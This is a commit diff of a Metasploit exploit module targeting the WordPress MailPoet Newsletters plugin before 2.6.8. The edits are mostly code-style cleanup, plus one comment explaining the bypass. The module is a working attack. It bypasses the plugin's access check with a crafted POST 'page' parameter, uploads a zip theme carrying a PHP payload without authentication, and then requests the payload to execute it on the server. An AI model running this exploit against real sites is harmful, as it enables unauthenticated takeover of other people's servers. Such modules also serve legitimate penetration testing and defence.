1
+ # encoding: UTF-8
2
+
1
3
##
2
4
# This module requires Metasploit: http//metasploit.com/download
3
5
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
12
14
include Msf ::Exploit ::FileDropper
13
15
14
16
def initialize ( info = { } )
15
- super ( update_info ( info ,
17
+ super ( update_info (
18
+ info ,
16
19
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload' ,
17
20
'Description' => %q{
18
21
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
@@ -24,7 +27,8 @@ def initialize(info = {})
24
27
a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
25
28
uses $_REQUEST to check for access rights. By setting the POST parameter to
26
29
something not beginning with 'wysija_', the check is bypassed. Wordpress uses
27
- the $_GET array to determine the page, so it is not affected by this.
30
+ the $_GET array to determine the page, so it is not affected by this. The developers
31
+ applied the fixes to all previous versions too.
28
32
} ,
29
33
'Author' =>
30
34
[
@@ -34,14 +38,14 @@ def initialize(info = {})
34
38
'License' => MSF_LICENSE ,
35
39
'References' =>
36
40
[
37
- [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] ,
38
- [ 'URL' , 'http://www.mailpoet.com/security-update-part-2/' ] ,
39
- [ 'URL' , 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php' ]
41
+ [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] ,
42
+ [ 'URL' , 'http://www.mailpoet.com/security-update-part-2/' ] ,
43
+ [ 'URL' , 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php' ]
40
44
] ,
41
45
'Privileged' => false ,
42
46
'Platform' => [ 'php' ] ,
43
47
'Arch' => ARCH_PHP ,
44
- 'Targets' => [ [ 'wysija-newsletters < 2.6.8' , { } ] ] ,
48
+ 'Targets' => [ [ 'wysija-newsletters < 2.6.8' , { } ] ] ,
45
49
'DefaultTarget' => 0 ,
46
50
'DisclosureDate' => 'Jul 1 2014' ) )
47
51
end
@@ -58,35 +62,31 @@ def create_zip_file(theme_name, payload_name)
58
62
}
59
63
60
64
zip_file = Rex ::Zip ::Archive . new
61
- content . each_pair do |name , content |
62
- zip_file . add_file ( name , content )
65
+ content . each_pair do |name , con |
66
+ zip_file . add_file ( name , con )
63
67
end
64
68
65
69
zip_file . pack
66
70
end
67
71
68
72
def check
69
73
readme_url = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wysija-newsletters' , 'readme.txt' )
70
- res = send_request_cgi ( {
74
+ res = send_request_cgi (
71
75
'uri' => readme_url ,
72
76
'method' => 'GET'
73
- } )
77
+ )
74
78
# no readme.txt present
75
- if res . nil? || res . code != 200
76
- return Msf ::Exploit ::CheckCode ::Unknown
77
- end
79
+ return Msf ::Exploit ::CheckCode ::Unknown if res . nil? || res . code != 200
78
80
79
81
# try to extract version from readme
80
82
# Example line:
81
83
# Stable tag: 2.6.6
82
84
version = res . body . to_s [ /stable tag: ([^\r \n "\' ]+\. [^\r \n "\' ]+)/i , 1 ]
83
85
84
86
# readme present, but no version number
85
- if version . nil?
86
- return Msf ::Exploit ::CheckCode ::Detected
87
- end
87
+ return Msf ::Exploit ::CheckCode ::Detected if version . nil?
88
88
89
- print_status ( "#{ peer } - Found version #{ version } of the plugin" )
89
+ vprint_status ( "#{ peer } - Found version #{ version } of the plugin" )
90
90
91
91
if Gem ::Version . new ( version ) < Gem ::Version . new ( '2.6.8' )
92
92
return Msf ::Exploit ::CheckCode ::Appears
@@ -108,19 +108,20 @@ def exploit
108
108
data . add_part ( 'on' , nil , nil , 'form-data; name="overwriteexistingtheme"' )
109
109
data . add_part ( 'themeupload' , nil , nil , 'form-data; name="action"' )
110
110
data . add_part ( 'Upload' , nil , nil , 'form-data; name="submitter"' )
111
+ # this line bypasses the check implemented in version 2.6.7
111
112
data . add_part ( rand_text_alpha ( 10 ) , nil , nil , 'form-data; name="page"' )
112
113
post_data = data . to_s
113
114
114
115
payload_uri = normalize_uri ( target_uri . path , 'wp-content' , 'uploads' , 'wysija' , 'themes' , theme_name , payload_name )
115
116
116
117
print_status ( "#{ peer } - Uploading payload to #{ payload_uri } " )
117
- res = send_request_cgi ( {
118
+ res = send_request_cgi (
118
119
'method' => 'POST' ,
119
120
'uri' => uri ,
120
121
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
121
122
'vars_get' => { 'page' => 'wysija_campaigns' , 'action' => 'themes' } ,
122
123
'data' => post_data
123
- } )
124
+ )
124
125
125
126
if res . nil? || res . code != 302 || res . headers [ 'Location' ] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
126
127
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
@@ -135,9 +136,9 @@ def exploit
135
136
print_warning ( "#{ peer } - The theme folder #{ theme_name } can not be removed. Please delete it manually." )
136
137
137
138
print_status ( "#{ peer } - Executing payload #{ payload_uri } " )
138
- res = send_request_cgi ( {
139
+ send_request_cgi (
139
140
'uri' => payload_uri ,
140
141
'method' => 'GET'
141
- } )
142
+ )
142
143
end
143
144
end
0 commit comments